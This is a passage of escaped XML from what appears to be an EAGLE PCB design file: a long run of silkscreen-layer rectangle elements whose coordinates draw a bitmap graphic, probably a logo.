layer=\"21\"/>\n<rectangle x1=\"-1.4676\" y1=\"0.2553\" x2=\"-0.5706\" y2=\"0.2597\" layer=\"21\"/>\n<rectangle x1=\"0.4862\" y1=\"0.2553\" x2=\"1.3832\" y2=\"0.2597\" layer=\"21\"/>\n<rectangle x1=\"1.7562\" y1=\"0.2553\" x2=\"2.4578\" y2=\"0.2597\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.2597\" x2=\"-1.8362\" y2=\"0.2642\" layer=\"21\"/>\n<rectangle x1=\"-1.4632\" y1=\"0.2597\" x2=\"-0.5618\" y2=\"0.2642\" layer=\"21\"/>\n<rectangle x1=\"0.4773\" y1=\"0.2597\" x2=\"1.3787\" y2=\"0.2642\" layer=\"21\"/>\n<rectangle x1=\"1.7517\" y1=\"0.2597\" x2=\"2.4578\" y2=\"0.2642\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.2642\" x2=\"-1.8362\" y2=\"0.2686\" layer=\"21\"/>\n<rectangle x1=\"-1.4632\" y1=\"0.2642\" x2=\"-0.5529\" y2=\"0.2686\" layer=\"21\"/>\n<rectangle x1=\"0.4684\" y1=\"0.2642\" x2=\"1.3787\" y2=\"0.2686\" layer=\"21\"/>\n<rectangle x1=\"1.7517\" y1=\"0.2642\" x2=\"2.4578\" y2=\"0.2686\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.2686\" x2=\"-1.8317\" y2=\"0.2731\" layer=\"21\"/>\n<rectangle x1=\"-1.4587\" y1=\"0.2686\" x2=\"-0.5484\" y2=\"0.2731\" layer=\"21\"/>\n<rectangle x1=\"0.4596\" y1=\"0.2686\" x2=\"1.3743\" y2=\"0.2731\" layer=\"21\"/>\n<rectangle x1=\"1.7473\" y1=\"0.2686\" x2=\"2.4578\" y2=\"0.2731\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.2731\" x2=\"-1.8317\" y2=\"0.2775\" layer=\"21\"/>\n<rectangle x1=\"-1.4543\" y1=\"0.2731\" x2=\"-0.5396\" y2=\"0.2775\" layer=\"21\"/>\n<rectangle x1=\"0.4551\" y1=\"0.2731\" x2=\"1.3699\" y2=\"0.2775\" layer=\"21\"/>\n<rectangle x1=\"1.7473\" y1=\"0.2731\" x2=\"2.4578\" y2=\"0.2775\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.2775\" x2=\"-1.8273\" y2=\"0.2819\" layer=\"21\"/>\n<rectangle x1=\"-1.4543\" y1=\"0.2775\" x2=\"-0.5307\" y2=\"0.2819\" layer=\"21\"/>\n<rectangle x1=\"0.4462\" y1=\"0.2775\" x2=\"1.3699\" y2=\"0.2819\" layer=\"21\"/>\n<rectangle x1=\"1.7429\" y1=\"0.2775\" x2=\"2.4578\" y2=\"0.2819\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.2819\" x2=\"-1.8273\" y2=\"0.2864\" layer=\"21\"/>\n<rectangle x1=\"-1.4499\" y1=\"0.2819\" x2=\"-0.5218\" y2=\"0.2864\" layer=\"21\"/>\n<rectangle x1=\"0.4374\" y1=\"0.2819\" x2=\"1.3654\" y2=\"0.2864\" layer=\"21\"/>\n<rectangle x1=\"1.7429\" y1=\"0.2819\" x2=\"2.4578\" y2=\"0.2864\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.2864\" x2=\"-1.8229\" y2=\"0.2908\" layer=\"21\"/>\n<rectangle x1=\"-1.4499\" y1=\"0.2864\" x2=\"-0.5173\" y2=\"0.2908\" layer=\"21\"/>\n<rectangle x1=\"0.4329\" y1=\"0.2864\" x2=\"1.3654\" y2=\"0.2908\" layer=\"21\"/>\n<rectangle x1=\"1.7384\" y1=\"0.2864\" x2=\"2.4578\" y2=\"0.2908\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.2908\" x2=\"-1.8184\" y2=\"0.2953\" layer=\"21\"/>\n<rectangle x1=\"-1.4454\" y1=\"0.2908\" x2=\"-0.5085\" y2=\"0.2953\" layer=\"21\"/>\n<rectangle x1=\"0.424\" y1=\"0.2908\" x2=\"1.361\" y2=\"0.2953\" layer=\"21\"/>\n<rectangle x1=\"1.734\" y1=\"0.2908\" x2=\"2.4578\" y2=\"0.2953\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.2953\" x2=\"-1.8184\" y2=\"0.2997\" layer=\"21\"/>\n<rectangle x1=\"-1.4454\" y1=\"0.2953\" x2=\"-0.4996\" y2=\"0.2997\" layer=\"21\"/>\n<rectangle x1=\"0.4152\" y1=\"0.2953\" x2=\"1.361\" y2=\"0.2997\" layer=\"21\"/>\n<rectangle x1=\"1.734\" y1=\"0.2953\" x2=\"2.4578\" y2=\"0.2997\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.2997\" x2=\"-1.814\" y2=\"0.3041\" layer=\"21\"/>\n<rectangle x1=\"-1.441\" y1=\"0.2997\" x2=\"-0.4951\" y2=\"0.3041\" layer=\"21\"/>\n<rectangle x1=\"0.4063\" y1=\"0.2997\" x2=\"1.3565\" y2=\"0.3041\" layer=\"21\"/>\n<rectangle x1=\"1.7295\" y1=\"0.2997\" x2=\"2.4578\" y2=\"0.3041\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.3041\" x2=\"-1.814\" y2=\"0.3086\" layer=\"21\"/>\n<rectangle x1=\"-1.4365\" y1=\"0.3041\" x2=\"-0.4863\" y2=\"0.3086\" layer=\"21\"/>\n<rectangle x1=\"0.4018\" y1=\"0.3041\" x2=\"1.3521\" y2=\"0.3086\" layer=\"21\"/>\n<rectangle x1=\"1.7295\" y1=\"0.3041\" x2=\"2.4578\" y2=\"0.3086\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.3086\" x2=\"-1.8095\" y2=\"0.313\" layer=\"21\"/>\n<rectangle x1=\"-1.4365\" y1=\"0.3086\" x2=\"-0.4774\" y2=\"0.313\" layer=\"21\"/>\n<rectangle x1=\"0.393\" y1=\"0.3086\" x2=\"1.3521\" y2=\"0.313\" layer=\"21\"/>\n<rectangle x1=\"1.7251\" y1=\"0.3086\" x2=\"2.4578\" y2=\"0.313\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.313\" x2=\"-1.8095\" y2=\"0.3175\" layer=\"21\"/>\n<rectangle x1=\"-1.4321\" y1=\"0.313\" x2=\"-0.4685\" y2=\"0.3175\" layer=\"21\"/>\n<rectangle x1=\"0.3841\" y1=\"0.313\" x2=\"1.3477\" y2=\"0.3175\" layer=\"21\"/>\n<rectangle x1=\"1.7207\" y1=\"0.313\" x2=\"2.4578\" y2=\"0.3175\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.3175\" x2=\"-1.8051\" y2=\"0.3219\" layer=\"21\"/>\n<rectangle x1=\"-1.4321\" y1=\"0.3175\" x2=\"-0.4641\" y2=\"0.3219\" layer=\"21\"/>\n<rectangle x1=\"0.3752\" y1=\"0.3175\" x2=\"1.3477\" y2=\"0.3219\" layer=\"21\"/>\n<rectangle x1=\"1.7207\" y1=\"0.3175\" x2=\"2.4578\" y2=\"0.3219\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.3219\" x2=\"-1.8007\" y2=\"0.3263\" layer=\"21\"/>\n<rectangle x1=\"-1.4277\" y1=\"0.3219\" x2=\"-0.4552\" y2=\"0.3263\" layer=\"21\"/>\n<rectangle x1=\"0.3708\" y1=\"0.3219\" x2=\"1.3432\" y2=\"0.3263\" layer=\"21\"/>\n<rectangle x1=\"1.7162\" y1=\"0.3219\" x2=\"2.4578\" y2=\"0.3263\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.3263\" x2=\"-1.8007\" y2=\"0.3308\" layer=\"21\"/>\n<rectangle x1=\"-1.4277\" y1=\"0.3263\" x2=\"-0.4463\" y2=\"0.3308\" layer=\"21\"/>\n<rectangle x1=\"0.3619\" y1=\"0.3263\" x2=\"1.3388\" y2=\"0.3308\" layer=\"21\"/>\n<rectangle x1=\"1.7162\" y1=\"0.3263\" x2=\"2.4578\" y2=\"0.3308\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.3308\" x2=\"-1.7962\" y2=\"0.3352\" layer=\"21\"/>\n<rectangle x1=\"-1.4232\" y1=\"0.3308\" x2=\"-0.4374\" y2=\"0.3352\" layer=\"21\"/>\n<rectangle x1=\"0.353\" y1=\"0.3308\" x2=\"1.3388\" y2=\"0.3352\" layer=\"21\"/>\n<rectangle x1=\"1.7118\" y1=\"0.3308\" x2=\"2.4578\" y2=\"0.3352\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.3352\" x2=\"-1.7962\" y2=\"0.3397\" layer=\"21\"/>\n<rectangle x1=\"-1.4188\" y1=\"0.3352\" x2=\"-0.433\" y2=\"0.3397\" layer=\"21\"/>\n<rectangle x1=\"0.3441\" y1=\"0.3352\" x2=\"1.3343\" y2=\"0.3397\" layer=\"21\"/>\n<rectangle x1=\"1.7118\" y1=\"0.3352\" x2=\"2.4578\" y2=\"0.3397\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.3397\" x2=\"-1.7918\" y2=\"0.3441\" layer=\"21\"/>\n<rectangle x1=\"-1.4188\" y1=\"0.3397\" x2=\"-0.4241\" y2=\"0.3441\" layer=\"21\"/>\n<rectangle x1=\"0.3397\" y1=\"0.3397\" x2=\"1.3343\" y2=\"0.3441\" layer=\"21\"/>\n<rectangle x1=\"1.7073\" y1=\"0.3397\" x2=\"2.4578\" y2=\"0.3441\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.3441\" x2=\"-1.7873\" y2=\"0.3485\" layer=\"21\"/>\n<rectangle x1=\"-1.4143\" y1=\"0.3441\" x2=\"-0.4152\" y2=\"0.3485\" layer=\"21\"/>\n<rectangle x1=\"0.3308\" y1=\"0.3441\" x2=\"1.3299\" y2=\"0.3485\" layer=\"21\"/>\n<rectangle x1=\"1.7029\" y1=\"0.3441\" x2=\"2.4578\" y2=\"0.3485\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.3485\" x2=\"-1.7873\" y2=\"0.353\" layer=\"21\"/>\n<rectangle x1=\"-1.4143\" y1=\"0.3485\" x2=\"-0.4063\" y2=\"0.353\" layer=\"21\"/>\n<rectangle x1=\"0.3219\" y1=\"0.3485\" x2=\"1.3299\" y2=\"0.353\" layer=\"21\"/>\n<rectangle x1=\"1.7029\" y1=\"0.3485\" x2=\"2.4578\" y2=\"0.353\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.353\" x2=\"-1.7829\" y2=\"0.3574\" layer=\"21\"/>\n<rectangle x1=\"-1.4099\" y1=\"0.353\" x2=\"-0.4019\" y2=\"0.3574\" layer=\"21\"/>\n<rectangle x1=\"0.3175\" y1=\"0.353\" x2=\"1.3255\" y2=\"0.3574\" layer=\"21\"/>\n<rectangle x1=\"1.6985\" y1=\"0.353\" x2=\"2.4578\" y2=\"0.3574\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.3574\" x2=\"-1.7829\" y2=\"0.3619\" layer=\"21\"/>\n<rectangle x1=\"-1.4099\" y1=\"0.3574\" x2=\"-0.393\" y2=\"0.3619\" layer=\"21\"/>\n<rectangle x1=\"0.3086\" y1=\"0.3574\" x2=\"1.321\" y2=\"0.3619\" layer=\"21\"/>\n<rectangle x1=\"1.6985\" y1=\"0.3574\" x2=\"2.4578\" y2=\"0.3619\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.3619\" x2=\"-1.7785\" y2=\"0.3663\" layer=\"21\"/>\n<rectangle x1=\"-1.4054\" y1=\"0.3619\" x2=\"-0.3841\" y2=\"0.3663\" layer=\"21\"/>\n<rectangle x1=\"0.2997\" y1=\"0.3619\" x2=\"1.321\" y2=\"0.3663\" layer=\"21\"/>\n<rectangle x1=\"1.694\" y1=\"0.3619\" x2=\"2.4578\" y2=\"0.3663\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.3663\" x2=\"-1.7785\" y2=\"0.3708\" layer=\"21\"/>\n<rectangle x1=\"-1.401\" y1=\"0.3663\" x2=\"-0.3797\" y2=\"0.3708\" layer=\"21\"/>\n<rectangle x1=\"0.2908\" y1=\"0.3663\" x2=\"1.3166\" y2=\"0.3708\" layer=\"21\"/>\n<rectangle x1=\"1.694\" y1=\"0.3663\" x2=\"2.4578\" y2=\"0.3708\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.3708\" x2=\"-1.774\" y2=\"0.3752\" layer=\"21\"/>\n<rectangle x1=\"-1.401\" y1=\"0.3708\" x2=\"-0.3708\" y2=\"0.3752\" layer=\"21\"/>\n<rectangle x1=\"0.2864\" y1=\"0.3708\" x2=\"1.3166\" y2=\"0.3752\" layer=\"21\"/>\n<rectangle x1=\"1.6896\" y1=\"0.3708\" x2=\"2.4578\" y2=\"0.3752\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.3752\" x2=\"-1.7696\" y2=\"0.3796\" layer=\"21\"/>\n<rectangle x1=\"-1.3966\" y1=\"0.3752\" x2=\"-0.3619\" y2=\"0.3796\" layer=\"21\"/>\n<rectangle x1=\"0.2775\" y1=\"0.3752\" x2=\"1.3121\" y2=\"0.3796\" layer=\"21\"/>\n<rectangle x1=\"1.6851\" y1=\"0.3752\" x2=\"2.4578\" y2=\"0.3796\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.3796\" x2=\"-1.7696\" y2=\"0.3841\" layer=\"21\"/>\n<rectangle x1=\"-1.3966\" y1=\"0.3796\" x2=\"-0.3531\" y2=\"0.3841\" layer=\"21\"/>\n<rectangle x1=\"0.2686\" y1=\"0.3796\" x2=\"1.3121\" y2=\"0.3841\" layer=\"21\"/>\n<rectangle x1=\"1.6851\" y1=\"0.3796\" x2=\"2.4578\" y2=\"0.3841\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.3841\" x2=\"-1.7651\" y2=\"0.3885\" layer=\"21\"/>\n<rectangle x1=\"-1.3921\" y1=\"0.3841\" x2=\"-0.3486\" y2=\"0.3885\" layer=\"21\"/>\n<rectangle x1=\"0.2597\" y1=\"0.3841\" x2=\"1.3077\" y2=\"0.3885\" layer=\"21\"/>\n<rectangle x1=\"1.6807\" y1=\"0.3841\" x2=\"2.4578\" y2=\"0.3885\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.3885\" x2=\"-1.7651\" y2=\"0.393\" layer=\"21\"/>\n<rectangle x1=\"-1.3877\" y1=\"0.3885\" x2=\"-0.3397\" y2=\"0.393\" layer=\"21\"/>\n<rectangle x1=\"0.2553\" y1=\"0.3885\" x2=\"1.3033\" y2=\"0.393\" layer=\"21\"/>\n<rectangle x1=\"1.6807\" y1=\"0.3885\" x2=\"2.4578\" y2=\"0.393\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.393\" x2=\"-1.7607\" y2=\"0.3974\" layer=\"21\"/>\n<rectangle x1=\"-1.3877\" y1=\"0.393\" x2=\"-0.3308\" y2=\"0.3974\" layer=\"21\"/>\n<rectangle x1=\"0.2464\" y1=\"0.393\" x2=\"1.3033\" y2=\"0.3974\" layer=\"21\"/>\n<rectangle x1=\"1.6762\" y1=\"0.393\" x2=\"2.4578\" y2=\"0.3974\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.3974\" x2=\"-1.7607\" y2=\"0.4018\" layer=\"21\"/>\n<rectangle x1=\"-1.3832\" y1=\"0.3974\" x2=\"-0.322\" y2=\"0.4018\" layer=\"21\"/>\n<rectangle x1=\"0.2375\" y1=\"0.3974\" x2=\"1.2988\" y2=\"0.4018\" layer=\"21\"/>\n<rectangle x1=\"1.6762\" y1=\"0.3974\" x2=\"2.4578\" y2=\"0.4018\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.4018\" x2=\"-1.7563\" y2=\"0.4063\" layer=\"21\"/>\n<rectangle x1=\"-1.3832\" y1=\"0.4018\" x2=\"-0.3175\" y2=\"0.4063\" layer=\"21\"/>\n<rectangle x1=\"0.2287\" y1=\"0.4018\" x2=\"1.2988\" y2=\"0.4063\" layer=\"21\"/>\n<rectangle x1=\"1.6718\" y1=\"0.4018\" x2=\"2.4578\" y2=\"0.4063\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.4063\" x2=\"-1.7518\" y2=\"0.4107\" layer=\"21\"/>\n<rectangle x1=\"-1.3788\" y1=\"0.4063\" x2=\"-0.3086\" y2=\"0.4107\" layer=\"21\"/>\n<rectangle x1=\"0.2242\" y1=\"0.4063\" x2=\"1.2944\" y2=\"0.4107\" layer=\"21\"/>\n<rectangle x1=\"1.6674\" y1=\"0.4063\" x2=\"2.4578\" y2=\"0.4107\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.4107\" x2=\"-1.7518\" y2=\"0.4152\" layer=\"21\"/>\n<rectangle x1=\"-1.3788\" y1=\"0.4107\" x2=\"-0.2998\" y2=\"0.4152\" layer=\"21\"/>\n<rectangle x1=\"0.2153\" y1=\"0.4107\" x2=\"1.2944\" y2=\"0.4152\" layer=\"21\"/>\n<rectangle x1=\"1.6674\" y1=\"0.4107\" x2=\"2.4578\" y2=\"0.4152\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.4152\" x2=\"-1.7474\" y2=\"0.4196\" layer=\"21\"/>\n<rectangle x1=\"-1.3744\" y1=\"0.4152\" x2=\"-0.2909\" y2=\"0.4196\" layer=\"21\"/>\n<rectangle x1=\"0.2065\" y1=\"0.4152\" x2=\"1.2899\" y2=\"0.4196\" layer=\"21\"/>\n<rectangle x1=\"1.6629\" y1=\"0.4152\" x2=\"2.4578\" y2=\"0.4196\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.4196\" x2=\"-1.7474\" y2=\"0.424\" layer=\"21\"/>\n<rectangle x1=\"-1.3699\" y1=\"0.4196\" x2=\"-0.2864\" y2=\"0.424\" layer=\"21\"/>\n<rectangle x1=\"0.202\" y1=\"0.4196\" x2=\"1.2855\" y2=\"0.424\" layer=\"21\"/>\n<rectangle x1=\"1.6629\" y1=\"0.4196\" x2=\"2.4578\" y2=\"0.424\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.424\" x2=\"-1.7429\" y2=\"0.4285\" layer=\"21\"/>\n<rectangle x1=\"-1.3699\" y1=\"0.424\" x2=\"-0.2776\" y2=\"0.4285\" layer=\"21\"/>\n<rectangle x1=\"0.1931\" y1=\"0.424\" x2=\"1.2855\" y2=\"0.4285\" layer=\"21\"/>\n<rectangle x1=\"1.6585\" y1=\"0.424\" x2=\"2.4578\" y2=\"0.4285\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.4285\" x2=\"-1.7429\" y2=\"0.4329\" layer=\"21\"/>\n<rectangle x1=\"-1.3655\" y1=\"0.4285\" x2=\"-0.2687\" y2=\"0.4329\" layer=\"21\"/>\n<rectangle x1=\"0.1843\" y1=\"0.4285\" x2=\"1.2811\" y2=\"0.4329\" layer=\"21\"/>\n<rectangle x1=\"1.6541\" y1=\"0.4285\" x2=\"2.4578\" y2=\"0.4329\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.4329\" x2=\"-1.7385\" y2=\"0.4374\" layer=\"21\"/>\n<rectangle x1=\"-1.3655\" y1=\"0.4329\" x2=\"-0.2642\" y2=\"0.4374\" layer=\"21\"/>\n<rectangle x1=\"0.1754\" y1=\"0.4329\" x2=\"1.2811\" y2=\"0.4374\" layer=\"21\"/>\n<rectangle x1=\"1.6541\" y1=\"0.4329\" x2=\"2.4578\" y2=\"0.4374\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.4374\" x2=\"-1.734\" y2=\"0.4418\" layer=\"21\"/>\n<rectangle x1=\"-1.361\" y1=\"0.4374\" x2=\"-0.2554\" y2=\"0.4418\" layer=\"21\"/>\n<rectangle x1=\"0.1709\" y1=\"0.4374\" x2=\"1.2766\" y2=\"0.4418\" layer=\"21\"/>\n<rectangle x1=\"1.6496\" y1=\"0.4374\" x2=\"2.4578\" y2=\"0.4418\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.4418\" x2=\"-1.734\" y2=\"0.4462\" layer=\"21\"/>\n<rectangle x1=\"-1.361\" y1=\"0.4418\" x2=\"-0.2465\" y2=\"0.4462\" layer=\"21\"/>\n<rectangle x1=\"0.162\" y1=\"0.4418\" x2=\"1.2722\" y2=\"0.4462\" layer=\"21\"/>\n<rectangle x1=\"1.6496\" y1=\"0.4418\" x2=\"2.4578\" y2=\"0.4462\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.4462\" x2=\"-1.7296\" y2=\"0.4507\" layer=\"21\"/>\n<rectangle x1=\"-1.3566\" y1=\"0.4462\" x2=\"-0.2376\" y2=\"0.4507\" layer=\"21\"/>\n<rectangle x1=\"0.1532\" y1=\"0.4462\" x2=\"1.2722\" y2=\"0.4507\" layer=\"21\"/>\n<rectangle x1=\"1.6452\" y1=\"0.4462\" x2=\"2.4578\" y2=\"0.4507\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.4507\" x2=\"-1.7296\" y2=\"0.4551\" layer=\"21\"/>\n<rectangle x1=\"-1.3522\" y1=\"0.4507\" x2=\"-0.2332\" y2=\"0.4551\" layer=\"21\"/>\n<rectangle x1=\"0.1443\" y1=\"0.4507\" x2=\"1.2677\" y2=\"0.4551\" layer=\"21\"/>\n<rectangle x1=\"1.6452\" y1=\"0.4507\" x2=\"2.4578\" y2=\"0.4551\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.4551\" x2=\"-1.7252\" y2=\"0.4596\" layer=\"21\"/>\n<rectangle x1=\"-1.3522\" y1=\"0.4551\" x2=\"-0.2243\" y2=\"0.4596\" layer=\"21\"/>\n<rectangle x1=\"0.1398\" y1=\"0.4551\" x2=\"1.2677\" y2=\"0.4596\" layer=\"21\"/>\n<rectangle x1=\"1.6407\" y1=\"0.4551\" x2=\"2.4578\" y2=\"0.4596\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.4596\" x2=\"-1.7207\" y2=\"0.464\" layer=\"21\"/>\n<rectangle x1=\"-1.3477\" y1=\"0.4596\" x2=\"-0.2154\" y2=\"0.464\" layer=\"21\"/>\n<rectangle x1=\"0.131\" y1=\"0.4596\" x2=\"1.2633\" y2=\"0.464\" layer=\"21\"/>\n<rectangle x1=\"1.6363\" y1=\"0.4596\" x2=\"2.4578\" y2=\"0.464\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.464\" x2=\"-1.7207\" y2=\"0.4684\" layer=\"21\"/>\n<rectangle x1=\"-1.3477\" y1=\"0.464\" x2=\"-0.2065\" y2=\"0.4684\" layer=\"21\"/>\n<rectangle x1=\"0.1221\" y1=\"0.464\" x2=\"1.2633\" y2=\"0.4684\" layer=\"21\"/>\n<rectangle x1=\"1.6363\" y1=\"0.464\" x2=\"2.4578\" y2=\"0.4684\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.4684\" x2=\"-1.7163\" y2=\"0.4729\" layer=\"21\"/>\n<rectangle x1=\"-1.3433\" y1=\"0.4684\" x2=\"-0.2021\" y2=\"0.4729\" layer=\"21\"/>\n<rectangle x1=\"0.1132\" y1=\"0.4684\" x2=\"1.2589\" y2=\"0.4729\" layer=\"21\"/>\n<rectangle x1=\"1.6319\" y1=\"0.4684\" x2=\"2.4578\" y2=\"0.4729\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.4729\" x2=\"-1.7163\" y2=\"0.4773\" layer=\"21\"/>\n<rectangle x1=\"-1.3433\" y1=\"0.4729\" x2=\"-0.1932\" y2=\"0.4773\" layer=\"21\"/>\n<rectangle x1=\"0.1088\" y1=\"0.4729\" x2=\"1.2544\" y2=\"0.4773\" layer=\"21\"/>\n<rectangle x1=\"1.6319\" y1=\"0.4729\" x2=\"2.4578\" y2=\"0.4773\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.4773\" x2=\"-1.7118\" y2=\"0.4818\" layer=\"21\"/>\n<rectangle x1=\"-1.3388\" y1=\"0.4773\" x2=\"-0.1843\" y2=\"0.4818\" layer=\"21\"/>\n<rectangle x1=\"0.0999\" y1=\"0.4773\" x2=\"1.2544\" y2=\"0.4818\" layer=\"21\"/>\n<rectangle x1=\"1.6274\" y1=\"0.4773\" x2=\"2.4578\" y2=\"0.4818\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.4818\" x2=\"-1.7118\" y2=\"0.4862\" layer=\"21\"/>\n<rectangle x1=\"-1.3344\" y1=\"0.4818\" x2=\"-0.1754\" y2=\"0.4862\" layer=\"21\"/>\n<rectangle x1=\"0.091\" y1=\"0.4818\" x2=\"1.25\" y2=\"0.4862\" layer=\"21\"/>\n<rectangle x1=\"1.6274\" y1=\"0.4818\" x2=\"2.4578\" y2=\"0.4862\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.4862\" x2=\"-1.7074\" y2=\"0.4906\" layer=\"21\"/>\n<rectangle x1=\"-1.3344\" y1=\"0.4862\" x2=\"-0.171\" y2=\"0.4906\" layer=\"21\"/>\n<rectangle x1=\"0.0866\" y1=\"0.4862\" x2=\"1.25\" y2=\"0.4906\" layer=\"21\"/>\n<rectangle x1=\"1.623\" y1=\"0.4862\" x2=\"2.4578\" y2=\"0.4906\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.4906\" x2=\"-1.703\" y2=\"0.4951\" layer=\"21\"/>\n<rectangle x1=\"-1.33\" y1=\"0.4906\" x2=\"-0.1665\" y2=\"0.4951\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.4906\" x2=\"1.2455\" y2=\"0.4951\" layer=\"21\"/>\n<rectangle x1=\"1.6185\" y1=\"0.4906\" x2=\"2.4578\" y2=\"0.4951\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.4951\" x2=\"-1.703\" y2=\"0.4995\" layer=\"21\"/>\n<rectangle x1=\"-1.33\" y1=\"0.4951\" x2=\"-0.1665\" y2=\"0.4995\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.4951\" x2=\"1.2455\" y2=\"0.4995\" layer=\"21\"/>\n<rectangle x1=\"1.6185\" y1=\"0.4951\" x2=\"2.4578\" y2=\"0.4995\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.4995\" x2=\"-1.6985\" y2=\"0.504\" layer=\"21\"/>\n<rectangle x1=\"-1.3255\" y1=\"0.4995\" x2=\"-0.1665\" y2=\"0.504\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.4995\" x2=\"1.2411\" y2=\"0.504\" layer=\"21\"/>\n<rectangle x1=\"1.6141\" y1=\"0.4995\" x2=\"2.4578\" y2=\"0.504\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.504\" x2=\"-1.6985\" y2=\"0.5084\" layer=\"21\"/>\n<rectangle x1=\"-1.3211\" y1=\"0.504\" x2=\"-0.1665\" y2=\"0.5084\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.504\" x2=\"1.2366\" y2=\"0.5084\" layer=\"21\"/>\n<rectangle x1=\"1.6141\" y1=\"0.504\" x2=\"2.4578\" y2=\"0.5084\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.5084\" x2=\"-1.6941\" y2=\"0.5128\" layer=\"21\"/>\n<rectangle x1=\"-1.3211\" y1=\"0.5084\" x2=\"-0.1665\" y2=\"0.5128\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.5084\" x2=\"1.2366\" y2=\"0.5128\" layer=\"21\"/>\n<rectangle x1=\"1.6096\" y1=\"0.5084\" x2=\"2.4578\" y2=\"0.5128\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.5128\" x2=\"-1.6941\" y2=\"0.5173\" layer=\"21\"/>\n<rectangle x1=\"-1.3166\" y1=\"0.5128\" x2=\"-0.1665\" y2=\"0.5173\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.5128\" x2=\"1.2322\" y2=\"0.5173\" layer=\"21\"/>\n<rectangle x1=\"1.6096\" y1=\"0.5128\" x2=\"2.4578\" y2=\"0.5173\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.5173\" x2=\"-1.6896\" y2=\"0.5217\" layer=\"21\"/>\n<rectangle x1=\"-1.3166\" y1=\"0.5173\" x2=\"-0.1665\" y2=\"0.5217\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.5173\" x2=\"1.2322\" y2=\"0.5217\" layer=\"21\"/>\n<rectangle x1=\"1.6052\" y1=\"0.5173\" x2=\"2.4578\" y2=\"0.5217\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.5217\" x2=\"-1.6852\" y2=\"0.5262\" layer=\"21\"/>\n<rectangle x1=\"-1.3122\" y1=\"0.5217\" x2=\"-0.1665\" y2=\"0.5262\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.5217\" x2=\"1.2278\" y2=\"0.5262\" layer=\"21\"/>\n<rectangle x1=\"1.6008\" y1=\"0.5217\" x2=\"2.4578\" y2=\"0.5262\" layer=\"21\"/>\n<rectangle 